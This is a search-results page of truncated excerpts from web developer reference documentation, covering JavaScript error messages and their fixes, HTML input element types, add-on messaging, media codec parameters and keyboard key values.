Search completed in 1.21 seconds.
7588 results for """:
Your results are loading. Please wait...
TypeError: can't assign to property "x" on "y": not an object - JavaScript
the javascript strict mode exception "can't assign to property" occurs when attempting to create a property on primitive value such as a symbol, a string, a number or a boolean.
... message typeerror: can't assign to property "x" on {y}: not an object (firefox) typeerror: cannot create property 'x' on {y} (chrome) error type typeerror.
... examples invalid cases 'use strict'; var foo = "my string"; // the following line does nothing if not in strict mode.
...And 2 more matches
TypeError: can't define property "x": "obj" is not extensible - JavaScript
the javascript exception "can't define property "x": "obj" is not extensible" occurs when object.preventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible.
... message typeerror: cannot create property for a non-extensible object (edge) typeerror: can't define property "x": "obj" is not extensible (firefox) typeerror: cannot define property: "x", object is not extensible.
...in sloppy mode, the addition of the "x" property is silently ignored.
...And 2 more matches
TypeError: can't access property "x" of "y" - JavaScript
the javascript exception "can't access property" occurs when property access was operated on undefined or null values.
... message typeerror: unable to get property {x} of undefined or null reference (edge) typeerror: can't access property {x} of {y} (firefox) typeerror: {y} is undefined, can't access property {x} of it (firefox) typeerror: {y} is null, can't access property {x} of it (firefox) examples: typeerror: x is undefined, can't access property "prop" of it typeerror: x is null, can't access property "prop" of it typeerror: can't access property "prop" of undefined typeerror: can't access property "prop" of null error type typeerror.
... examples invalid cases // undefined and null cases on which the substring method won't work var foo = undefined; foo.substring(1); // typeerror: x is undefined, can't access property "substring" of it var foo = null; foo.substring(1); // typeerror: x is null, can't access property "substring" of it fixing the issue to fix null pointer to undefined or null values, you can use the typeof operator, for example.
TypeError: "x" is (not) "y" - JavaScript
the javascript exception "x is (not) y" occurs when there was an unexpected type.
... message typeerror: unable to get property {x} of undefined or null reference (edge) typeerror: "x" is (not) "y" (firefox) examples: typeerror: "x" is undefined typeerror: "x" is null typeerror: "undefined" is not an object typeerror: "x" is not an object or null typeerror: "x" is not a symbol error type typeerror.
... examples invalid cases // undefined and null cases on which the substring method won't work var foo = undefined; foo.substring(1); // typeerror: foo is undefined var foo = null; foo.substring(1); // typeerror: foo is null // certain methods might require a specific type var foo = {} symbol.keyfor(foo); // typeerror: foo is not a symbol var foo = 'bar' object.create(foo); // typeerror: "foo" is not an object or null fixing the issue to fix null pointer to undefined values, you can use the typeof operator, for example.
<input type="datetime-local"> - HTML: Hypertext Markup Language
in other browsers, these degrade gracefully to simple <input type="text"> controls.
... you can set a default value for the input by including a date and time inside the value attribute, like so: <label for="party">enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" value="2017-06-01t08:30"> one thing to note is that the displayed date and time formats differ from the actual value; the displayed date and time are formatted according to the user's locale as reported by their operating system, whereas the date/time value is always formatted y...
... you can also get and set the date value in javascript using the htmlinputelement.value property, for example: var datecontrol = document.queryselector('input[type="datetime-local"]'); datecontrol.value = '2017-06-01t08:30'; there are several methods provided by javascript's date that can be used to convert numeric date information into a properly-formatted string, or you can do it manually.
...And 23 more matches
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
the value is a string whose value is in the format "yyyy-mm", where yyyy is the four-digit year and mm is the month number.
...in browsers that don't support month inputs, the control degrades gracefully to a simple <input type="text">, although there may be automatic validation of the entered text to ensure it's formatted as expected.
... value a domstring representing the value of the month and year entered into the input, in the form yyyy-mm (four or more digit year, then a hyphen ("-"), followed by the two-digit month).
...And 22 more matches
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
more specifically, there are two possible value formats that will pass validation: an empty string ("") indicating that the user did not enter a value or that the value was removed.
... "" (empty string) or no value follow the element's default behavior for spell checking.
...in its most basic form, a url input can be implemented like this: <input id="myurl" name="myurl" type="url"> notice that it's considered valid when empty and when a single validly-formatted url address is entered, but is otherwise not considered valid.
...And 22 more matches
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
more specifically, there are three possible value formats that will pass validation: an empty string ("") indicating that the user did not enter a value or that the value was removed.
...in its most basic form, an email input can be implemented like this: <input id="emailaddress" type="email"> notice that it's considered valid when empty and when a single validly-formatted e-mail address is entered, but is otherwise not considered valid.
... <input id="emailaddress" type="email" multiple> the input is now considered valid when a single e-mail address is entered, or when any number of e-mail addresses separated by commas and, optionally, some number of whitespace characters are present.
...And 21 more matches
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
you can set a default value for the input by including a number inside the value attribute, like so: <input id="number" type="number" value="42"> additional attributes in addition to the attributes commonly supported by all <input> types, inputs of type number support these attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the maximum value to accept for this input min ...
... using number inputs <input type="number"> elements can help simplify your work when building the user interface and logic for entering numbers into a form.
...the following screenshot is taken from firefox for android: a simple number input in its most basic form, a number input can be implemented like this: <label for="ticketnum">number of tickets you would like to buy:</label> <input id="ticketnum" type="number" name="ticketnum" value="0"> a number input is considered valid when empty and when a single number is entered, but is otherwise invalid.
...And 21 more matches
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
support is good in modern browsers, with safari being the sole major browser not yet implementing it; in safari, and any other browsers that don't support <time>, it degrades gracefully to <input type="text">.
...in some versions, an "x" button is provided to clear the control's value.
...an "x" button is provided to clear the control's value.
...And 19 more matches
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
unlike <input type="email"> and <input type="url"> , the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so much around the world.
...ommon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value attribute contains a domstring that either represents a telephone number or is an empty string ("").
...given how commonly-entered phone numbers are, it's unfortunate that a "one size fits all" solution for validating phone numbers is not practical.
...And 18 more matches
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
<input> elements of type="date" create input fields that let the user enter a date, either with a textbox that validates the input or a special date picker interface.
...in unsupported browsers, the control degrades gracefully to <input type="text">.
... you can set a default value for the input with a date inside the value attribute, like so: <input type="date" value="2017-06-01"> the displayed date format will differ from the actual value — the displayed date is formatted based on the locale of the user's browser, but the parsed value is always formatted yyyy-mm-dd.
...And 17 more matches
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
<input type="submit" value="send request"> value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a domstring which is displayed as the button's label.
... <input type="submit" value="send request"> if you don't specify a value, the button will have a default label, chosen by the user agent.
... this label is likely to be something along the lines of "submit" or "submit query." here's an example of a submit button with a default label in your browser: <input type="submit"> additional attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the url to which to submit the form's data; overrides the form's action attribute, if any formenctype a string specifying the encoding type to use for the form data formmethod the http method (get or post) to use when submitting the form.
...And 17 more matches
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
in non-supporting browsers, the control degrades gracefully to function identically to <input type="text">.
... in chrome/opera the week control provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "x" button to clear the control's value.
... you can set a default value for the input by including a value inside the value attribute, like so: <label for="week">what week would you like to start?</label> <input id="week" type="week" name="week" value="2017-w01"> one thing to note is that the displayed format may differ from the actual value, which is always formatted yyyy-www.
...And 17 more matches
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
<input> elements with type="file" let the user choose one or more files from their device storage.
... if no file is yet selected, the string is "" (empty).
... for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> capture the capture attribute value is a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
...And 15 more matches
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
value <input type="image"> elements do not accept value attributes.
... for example, if you have a graphical button that shows an image with an icon and/or image text "login now", you should also set the alt attribute to something like login now.
... functionally, the <input type="image"> alt attribute works just like the alt attribute on <img> elements.
...And 15 more matches
Communicating using "port" - Archive of obsolete content
here's a simple add-on that sends a message to a content script using port: var tabs = require("sdk/tabs"); var alertcontentscript = "self.port.on('alert', function(message) {" + " window.alert(message);" + "})"; tabs.on("ready", function(tab) { worker = tab.attach({ contentscript: alertcontentscript }); worker.port.emit("alert", "message from the add-on"); }); tabs.open("http://www.mozilla.org"); in total, the port object def...
...thus, to emit a message from a content script: self.port.emit("mycontentscriptmessage", mycontentscriptmessagepayload); to receive a message from the add-on code: self.port.on("myaddonmessage", function(myaddonmessagepayload) { // handle the message }); compare this to the technique used to receive built-in messages in the content script.
... for example, to receive the context message in a content script associated with a context menu object, you would call the on function attached to the global self object: self.on("context", function() { // handle the message }); so the port property is essentially used here as a namespace for user-defined messages.
...And 12 more matches
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
the element is presented as a one-line plain text editor control in which the text is obscured so that it cannot be read, usually by replacing each character with a symbol such as the asterisk ("*") or a dot ("").
...if the user hasn't entered anything yet, this value is an empty string ("").
... <label for="userpassword">password: </label> <input id="userpassword" type="password"> allowing autocomplete to allow the user's password manager to automatically enter the password, specify the autocomplete attribute.
...And 12 more matches
<input type="range"> - HTML: Hypertext Markup Language
WebHTMLElementinputrange
the value is never an empty string ("").
...for example, in the case of a home stereo volume control, users typically think "set volume at halfway to maximum" instead of "set volume to 0.5".
... for example, to ask the user for a value between -10 and 10, you can use: <input type="range" min="-10" max="10"> setting the value's granularity by default, the granularity, is 1, meaning that the value is always an integer.
...And 12 more matches
The "codecs" parameter in common media types - Web media technologies
video/webm; codecs="vp8, vorbis" a webm file containing vp8 video and/or vorbis audio.
... video/mp4; codecs="avc1.4d002a" an mpeg-4 file containing avc (h.264) video, main profile, level 4.2.
... av1 codec parameter string components component details p the one-digit profile number: av1 profile numbers profile number description 0 "main" profile; supports yuv 4:2:0 or monochrome bitstreams with bit depth of 8 or 10 bits per component.
...And 12 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
take the following example: <form> <div> <input type="checkbox" id="subscribenews" name="subscribe" value="newsletter"> <label for="subscribenews">subscribe to newsletter?</label> </div> <div> <button type="submit">subscribe</button> </div> </form> in this example, we've got a name of subscribe, and a value of newsletter.
...if you wanted to submit a default value for the checkbox when it is unchecked, you could include an <input type="hidden"> inside the form with the same name and value, generated by javascript perhaps.
... additional attributes in addition to the common attributes shared by all <input> elements, "checkbox" inputs support the following attributes: attribute description checked boolean; if present, the checkbox is toggled on by default indeterminate a boolean which, if present, indicates that the value of the checkbox is indeterminate rather than true or false value the string to use as the value of the checkbox when submitting the form, if the checkbox is currently toggled on checked a boolean attribute indicating whether or not this checkbox is checked by default (when the page loads).
...And 11 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
this article provides a basic guide to how <link rel="preload"> works.
... the basics you most commonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want.
... a simple example might look like this (see our js and css example source, and also live): <head> <meta charset="utf-8"> <title>js and css preload example</title> <link rel="preload" href="style.css" as="style"> <link rel="preload" href="main.js" as="script"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> here we preload our css and javascript files so they will be available as soon as they are required for the rendering of the page later on.
...And 10 more matches
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
value a domstring used as the button's label events click supported common attributes type, and value idl attributes value methods none value an <input type="button"> elements' value attribute contains a domstring that is used as the button's label.
... <input type="button" value="click me"> if you don't specify a value, you get an empty button: <input type="button"> using buttons <input type="button"> elements have no default behavior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset forms, respectively).
... a simple button we'll begin by creating a simple button with a click event handler that starts our machine (well, it toggles the value of the button and the text content of the following paragraph): <form> <input type="button" value="start machine"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryselector('p'); button.addeventlistener('click', updatebutton); function updatebutton() { if (button.value === 'start machine') { button.value = 'stop machine'; paragraph.textcontent = 'the machine has started!'; } else { button.value = 'start machine'; paragraph.textcontent = 'the machine is stopped.'; } } the script ge...
...And 8 more matches
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
the resulting html looks like this: <form> <p>please select your preferred contact method:</p> <div> <input type="radio" id="contactchoice1" name="contact" value="email"> <label for="contactchoice1">email</label> <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit"...
...for example, if the user clicks on the "phone" radio button then submits the form, the form's data will include the line contact=phone.
...in this scenario, if the user clicked on the "phone" option and submitted the form, the resulting form data would be contact=on, which isn't helpful.
...And 8 more matches
Gecko's "Almost Standards" Mode
as of mozilla 1.0.1 and 1.1 beta, there is a new rendering mode referred to as "almost standards" mode.
... this is added to the long-standing "quirks" and "standards" modes.
... "almost standards" rendering mode is exactly the same as "standards" mode in all details save one, where it works like "quirks" mode: the height calculations for line boxes and some of the inline elements in them.
...And 7 more matches
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
<input> elements of type "reset" are rendered as buttons, with a default click event handler that resets all of the inputs in the form to their initial values.
... value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="reset"> element's value attribute contains a domstring that is used as the button's label.
... <input type="reset" value="reset the form"> if you don't specify a value, you get an button with the default label (typically "reset," but this will vary depending on the user agent): <input type="reset"> using reset buttons <input type="reset"> buttons are used to reset forms.
...And 7 more matches
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
searchterms = mysearch.value; if no validation constraints are in place for the input (see validation for more details), the value can be any text string or an empty string ("").
... basic example <form> <div> <input type="search" id="mysearch" name="q"> <button>search</button> </div> </form> this renders like so: q is the most common name given to search inputs, although it's not mandatory.
...look at the following example: <form> <div> <input type="search" id="mysearch" name="q" placeholder="search the site..."> <button>search</button> </div> </form> you can see how the placeholder is rendered below: search form labels and accessibility one problem with search forms is their accessibility; a common design practice is not to provide a label for the search field (although there might be a magnifying glass icon or similar), as t...
...And 7 more matches
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
let thetext = mytextinput.value; if no validation constraints are in place for the input (see validation for more details), the value may be an empty string ("").
... "" (empty string) or no value follow the element's default behavior for spell checking.
... basic example <form> <div> <label for="uname">choose a username: </label> <input type="text" id="uname" name="name"> </div> <div> <button>submit</button> </div> </form> this renders like so: when submitted, the data name/value pair sent to the server will be uname=chris (if "chris" was entered as the input value before submission).
...And 7 more matches
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
providing a default color you can update the simple example above to set a default value, so that the color well is pre-filled with the default color and the color picker (if any) will also default to that color: <input type="color" value="#ff0000"> if you don't specify a value, the default is #000000, which is black.
... the value must be in seven-character hexadecimal notation, meaning the "#" character followed by two digits each representing red, green, and blue, like this: #rrggbb.
... here's an example that watches changes over time to the color value: colorpicker.addeventlistener("input", updatefirst, false); colorpicker.addeventlistener("change", watchcolorpicker, false); function watchcolorpicker(event) { document.queryselectorall("p").foreach(function(p) { p.style.color = event.target.value; }); } selecting the value if the <input> element's implementation of the color type on the user's browser doesn't support a color well, but is instead a text field for en...
...And 4 more matches
Communicating using "postMessage" - Archive of obsolete content
to receive a message from the add-on script, use self's on function: self.on("message", function(addonmessage) { // handle the message }); like all event-registration functions, this takes two parameters: the name of the event, and the handler function.
...to simplify this most content modules provide an onmessage property as an argument to the constructor: panel = require("sdk/panel").panel({ onmessage: function(contentscriptmessage) { // handle message from the content script } }); message events versus user-defined events you can use message events as an alternative to user-defined events: var pagemodscript = "window.addeventlistener('mouseover', function(event) {" + " self.postmessage(event.target.tostring());" + ...
... "}, false);"; var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.on('message', function(message) { console.log('mouseover: ' + message); }); } }); the reason to prefer user-defined events is that as soon as you need to send more than one type of message, then both sending and receiving messages gets more complex.
...And 3 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
<input id="prodid" name="prodid" type="hidden" value="xm234jq"> value a domstring representing the value of the hidden data you want to pass back to the server.
... important: while the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "view source" functionality.
... the edit form's html might look a little bit like this: <form> <div> <label for="title">post title:</label> <input type="text" id="title" name="title" value="my excellent blog post"> </div> <div> <label for="content">post content:</label> <textarea id="content" name="content" cols="60" rows="5"> this is the content of my excellent blog post.
...And 3 more matches
SyntaxError: invalid regular expression flag "x" - JavaScript
the javascript exception "invalid regular expression flag" occurs when the flags, defined after the second slash in regular expression literal, are not one of g, i, m, s, u, or y.
... message syntaxerror: syntax error in regular expression (edge) syntaxerror: invalid regular expression flag "x" (firefox) syntaxerror: invalid regular expression flags (chrome) error type syntaxerror what went wrong?
...to match newlines (added in ecmascript 2018) u unicode; treat pattern as a sequence of unicode code points y perform a "sticky" search that matches starting at the current position in the target string.
...And 2 more matches
ReferenceError: "x" is not defined - JavaScript
the javascript exception "variable is not defined" occurs when there is a non-existent variable referenced somewhere.
... message referenceerror: "x" is not defined error type referenceerror.
... note: when loading a library (such as jquery), make sure it is loaded before you access library variables, such as "$".
...And 2 more matches
SyntaxError: "x" is a reserved identifier - JavaScript
the javascript exception "variable is a reserved identifier" occurs when reserved keywords are used as identifiers.
... message syntaxerror: the use of a future reserved word for an identifier is invalid (edge) syntaxerror: "x" is a reserved identifier (firefox) syntaxerror: unexpected reserved word (chrome) error type syntaxerror what went wrong?
... "use strict"; var package = ["potatoes", "rice", "fries"]; // syntaxerror: package is a reserved identifier you'll need to rename these variables.
...And 2 more matches
SyntaxError: "use strict" not allowed in function with non-simple parameters - JavaScript
the javascript exception "'use strict' not allowed in function" occurs when a "use strict" directive is used at the top of a function with default parameters, rest parameters, or destructuring parameters.
... message edge: cannot apply strict mode on functions with non-simple parameter list firefox: syntaxerror: "use strict" not allowed in function with default parameter syntaxerror: "use strict" not allowed in function with rest parameter syntaxerror: "use strict" not allowed in function with destructuring parameter chrome: syntaxerror: illegal 'use strict' directive in function with non-simple parameter list error type syntaxerror.
... a "use strict" directive is written at the top of a function that has one of the following parameters: default parameters rest parameters destructuring parameters a "use strict" directive is not allowed at the top of such functions per the ecmascript specification.
...And 2 more matches
TypeError: can't redefine non-configurable property "x" - JavaScript
the javascript exception "can't redefine non-configurable property" occurs when it was attempted to redefine a property, but that property is non-configurable.
... message typeerror: cannot modify non-writable property {x} (edge) typeerror: can't redefine non-configurable property "x" (firefox) typeerror: cannot redefine property: "x" (chrome) error type typeerror what went wrong?
... var obj = object.create({}); object.defineproperty(obj, "foo", {value: "bar"}); object.defineproperty(obj, "foo", {value: "baz"}); // typeerror: can't redefine non-configurable property "foo" you will need to set the "foo" property to configurable, if you intend to redefine it later in the code.
... var obj = object.create({}); object.defineproperty(obj, "foo", {value: "bar", configurable: true}); object.defineproperty(obj, "foo", {value: "baz", configurable: true}); ...
SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated - JavaScript
the javascript strict mode-only exception "0-prefixed octal literals and octal escape sequences are deprecated; for octal literals use the "0o" prefix instead" occurs when deprecated octal literals and octal escape sequences are used.
... message syntaxerror: octal numeric literals and escape characters not allowed in strict mode (edge) syntaxerror: "0"-prefixed octal literals and octal escape sequences are deprecated; for octal literals use the "0o" prefix instead error type syntaxerror in strict mode only.
...with ecmascript 2015 and later, the standardized syntax uses a leading zero followed by a lowercase or uppercase latin letter "o" (0o or 0o).
... examples "0"-prefixed octal literals "use strict"; 03; // syntaxerror: "0"-prefixed octal literals and octal escape sequences // are deprecated octal escape sequences "use strict"; "\251"; // syntaxerror: "0"-prefixed octal literals and octal escape sequences // are deprecated valid octal numbers use a leading zero followed by the letter "o" or "o": 0o3; for octal escape sequences, you can use hexadecimal escape sequences instead: '\xa9'; ...
TypeError: setting getter-only property "x" - JavaScript
the javascript strict mode-only exception "setting getter-only property" occurs when there is an attempt to set a new value to a property for which only a getter is specified.
... message typeerror: assignment to read-only properties is not allowed in strict mode (edge) typeerror: setting getter-only property "x" (firefox) typeerror: cannot set property "prop" of #<object> which has only a getter (chrome) error type typeerror in strict mode only.
... "use strict"; function archiver() { var temperature = null; object.defineproperty(this, 'temperature', { get: function() { console.log('get!'); return temperature; } }); } var arc = new archiver(); arc.temperature; // 'get!' arc.temperature = 30; // typeerror: setting getter-only property "temperature" to fix this error, you will either need to remove line 16, where th...
...ere is an attempt to set the temperature property, or you will need to implement a setter for it, for example like this: "use strict"; function archiver() { var temperature = null; var archive = []; object.defineproperty(this, 'temperature', { get: function() { console.log('get!'); return temperature; }, set: function(value) { temperature = value; archive.push({ val: temperature }); } }); this.getarchive = function() { return archive; }; } var arc = new archiver(); arc.temperature; // 'get!' arc.temperature = 11; arc.temperature = 13; arc.getarchive(); // [{ val: 11 }, { val: 13 }] ...
TypeError: "x" is not a function - JavaScript
the javascript exception "is not a function" occurs when there was an attempt to call a value from a function, but the value is not actually a function.
... message typeerror: object doesn't support property or method {x} (edge) typeerror: "x" is not a function error type typeerror what went wrong?
... var dog = function () { this.age = 11; this.color = "black"; this.name = "ralph"; return this; } dog.prototype.name = function(name) { this.name = name; return this; } var mynewdog = new dog(); mynewdog.name("cassidy"); //uncaught typeerror: mynewdog.name is not a function use a different property name instead: var dog = function () { this.age = 11; this.color = "black"; this.dogname = "ralph"; //using this.dogname instead of .name ret...
...urn this; } dog.prototype.name = function(name) { this.dogname = name; return this; } var mynewdog = new dog(); mynewdog.name("cassidy"); //dog { age: 11, color: 'black', dogname: 'cassidy' } using brackets for multiplication in math, you can write 2 × (3 + 5) as 2*(3 + 5) or just 2(3 + 5).
SyntaxError: redeclaration of formal parameter "x" - JavaScript
the javascript exception "redeclaration of formal parameter" occurs when the same variable name occurs as a function parameter and is then redeclared using a let assignment in a function body again.
... message syntaxerror: let/const redeclaration (edge) syntaxerror: redeclaration of formal parameter "x" (firefox) syntaxerror: identifier "x" has already been declared (chrome) error type syntaxerror what went wrong?
... examples redeclared argument in this case, the variable "arg" redeclares the argument.
... function f(arg) { let arg = 'foo'; } // syntaxerror: redeclaration of formal parameter "arg" if you want to change the value of "arg" in the function body, you can do so, but you do not need to declare the same variable again.
ReferenceError: assignment to undeclared variable "x" - JavaScript
the javascript strict mode-only exception "assignment to undeclated variable" occurs when the value has been assigned to an undeclared variable.
... message referenceerror: assignment to undeclared variable "x" (firefox) referenceerror: "x" is not defined (chrome) referenceerror: variable undefined in strict mode (edge) error type referenceerror warning in strict mode only.
... examples invalid cases in this case, the variable "bar" is an undeclared variable.
... function foo() { 'use strict'; bar = true; } foo(); // referenceerror: assignment to undeclared variable bar valid cases to make "bar" a declared variable, you can add the var keyword in front of it.
TypeError: invalid assignment to const "x" - JavaScript
the javascript exception "invalid assignment to const" occurs when it was attempted to alter a constant value.
... message typeerror: invalid assignment to const "x" (firefox) typeerror: assignment to constant variable.
...this means that you can't mutate the value stored in a variable: const obj = {foo: 'bar'}; obj = {foo: 'baz'}; // typeerror: invalid assignment to const `obj' but you can mutate the properties in a variable: obj.foo = 'baz'; obj; // object { foo: "baz" } ...
TypeError: "x" is not a non-null object - JavaScript
the javascript exception "is not a non-null object" occurs when an object is expected somewhere and wasn't provided.
... message typeerror: invalid descriptor for property {x} (edge) typeerror: "x" is not a non-null object (firefox) typeerror: property description must be an object: "x" (chrome) typeerror: invalid value used in weak set (chrome) error type typeerror what went wrong?
... var ws = new weakset(); ws.add('foo'); // typeerror: "foo" is not a non-null object use objects instead: ws.add({foo: 'bar'}); ws.add(window); ...
Error: Permission denied to access property "x" - JavaScript
the javascript exception "permission denied to access property" occurs when there was an attempt to access an object for which you have no permission.
... message error: permission denied to access property "x" error type error.
... examples no permission to access document <!doctype html> <html> <head> <iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"></iframe> <script> onload = function() { console.log(frames[0].document); // error: permission denied to access property "document" } </script> </head> <body></body> </html> ...
TypeError: "x" is read-only - JavaScript
the javascript strict mode-only exception "is read-only" occurs when a global variable or object property that was assigned to is a read-only property.
... message typeerror: assignment to read-only properties is not allowed in strict mode (edge) typeerror: "x" is read-only (firefox) typeerror: 0 is read-only (firefox) typeerror: cannot assign to read only property 'x' of #<object> (chrome) typeerror: cannot assign to read only property '0' of [object array] (chrome) error type typeerror what went wrong?
... the global variable undefined is also read-only, so you can't silence the infamous "undefined is not a function" error by doing this: 'use strict'; undefined = function() {}; // typeerror: "undefined" is read-only valid cases 'use strict'; var obj = object.freeze({name: 'score', points: 157}); obj = {name: obj.name, points: 0}; // replacing it with a new object works 'use strict'; var lung_count = 2; // a `var` works, because it's not read-only lung_count = 3; // ok (an...
ReferenceError: reference to undefined property "x" - JavaScript
the javascript warning "reference to undefined property" occurs when a script attempted to access an object property which doesn't exist.
... message referenceerror: reference to undefined property "x" (firefox) error type (firefox only) referenceerror warning which is reported only if javascript.options.strict preference is set to true.
... var foo = {}; foo.bar; // referenceerror: reference to undefined property "bar" valid cases to avoid the error, you need to either add a definition for bar to the object or check for the existence of the bar property before trying to access it; one way to do that is to use the object.prototype.hasownproperty() method), like this: var foo = {}; // define the bar property foo.bar = 'moon'; console.log(foo.bar); // "moon" // test to be sure bar exists before accessing it if (...
TypeError: variable "x" redeclares argument - JavaScript
the javascript strict mode-only exception "variable redeclares argument" occurs when the same variable name occurs as a function parameter and is then redeclared using a var assignment in a function body again.
... message typeerror: variable "x" redeclares argument (firefox) error type typeerror warning in strict mode only.
... examples invalid cases in this case, the variable "arg" redeclares the argument.
<input type="datetime"> - HTML: Hypertext Markup Language
WebHTMLElementinputdatetime
the html <input type="datetime"> was a control for entering a date and time (hour, minute, second, and fraction of a second) as well as a timezone.
... instead, browsers are implementing (and developers are encouraged to use) <input type="datetime-local">.
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
the javascript exception "property is non-configurable and can't be deleted" occurs when it was attempted to delete a property, but that property is non-configurable.
... message typeerror: calling delete on 'x' is not allowed in strict mode (edge) typeerror: property "x" is non-configurable and can't be deleted.
TypeError: "x" is not a constructor - JavaScript
the javascript exception "is not a constructor" occurs when there was an attempt to use an object or a variable as a constructor, but that object or variable is not a constructor.
... message typeerror: object doesn't support this action (edge) typeerror: "x" is not a constructor typeerror: math is not a constructor typeerror: json is not a constructor typeerror: symbol is not a constructor typeerror: reflect is not a constructor typeerror: intl is not a constructor typeerror: atomics is not a constructor error type typeerror what went wrong?
The "why" of web performance - Learn web development
overview: performance next in this module the "why" of web performance what is web performance?
Firefox and the "about" protocol
about:downloads displays all downloads done within firefox about:home start page of firefox when opening a new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc about:mozilla special page showing a message from "the book of mozilla" about:networking displays networking information about:newtab start page when opening a new tab about:performance displays memory and performance information about firefox subprocesses/add-ons/tabs about:plugins displays information about installed plugins about:policies lists out the firefox for enterprise policies ...
TypeError: "x" has no properties - JavaScript
the javascript exception "null (or undefined) has no properties" occurs when you attempt to access properties of null and undefined.
Key Values - Web APIs
keyboardevent.key value description virtual keycode windows mac linux android "unidentified" the user agent wasn't able to map the event's virtual keycode to a specific key value.
... keyboardevent.key value description virtual keycode windows mac linux android "alt" [5] the alt (alternative) key.
... vk_menu (0x12) vk_lmenu (0xa4) vk_rmenu (0xa5) kvk_option (0x3a) kvk_rightoption (0x3d) gdk_key_alt_l (0xffe9) gdk_key_alt_r (0xffea) qt::key_alt (0x01000023) keycode_alt_left (57) keycode_alt_right (58) "altgraph" [5] the altgr or altgraph (alternate graphics) key.
...And 370 more matches
Index
11 fips mode - an explanation nss nss has a "fips mode" that can be enabled when nss is compiled in a specific way.
... (note: mozilla does not distribute a "fips mode"-ready nss with firefox.) this page attempts to provide an informal explanation of what it is, who would use it, and why.
...the bug fixes in nss 3.14.1 are described in the "bugs fixed" section below.
...And 138 more matches
MathML Torture Test
mathml torture test html content <p> render mathematics with: <select name="mathfont" id="mathfont"> <option value="default" selected="selected">default fonts</option> <option value="asana">asana</option> <option value="cambria">cambria</option> <option value="dejavu">dejavu</option> <option value="latinmodern">latin modern</option> <option value="libertinus">libertinus</option> <option value="lucidabright">lucida bright</option> <option value="minion">minion</option> <option value="stixtwo">stix two</option> <option value="texgyrebonum">tex gyre bonum</option> <option value="texgyrepagella">tex gyre pagella</option> <option value="texgyreschola">tex gyre schola</option> <option value="texgyretermes">tex gyre termes</option>...
... <option value="xits">xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display...
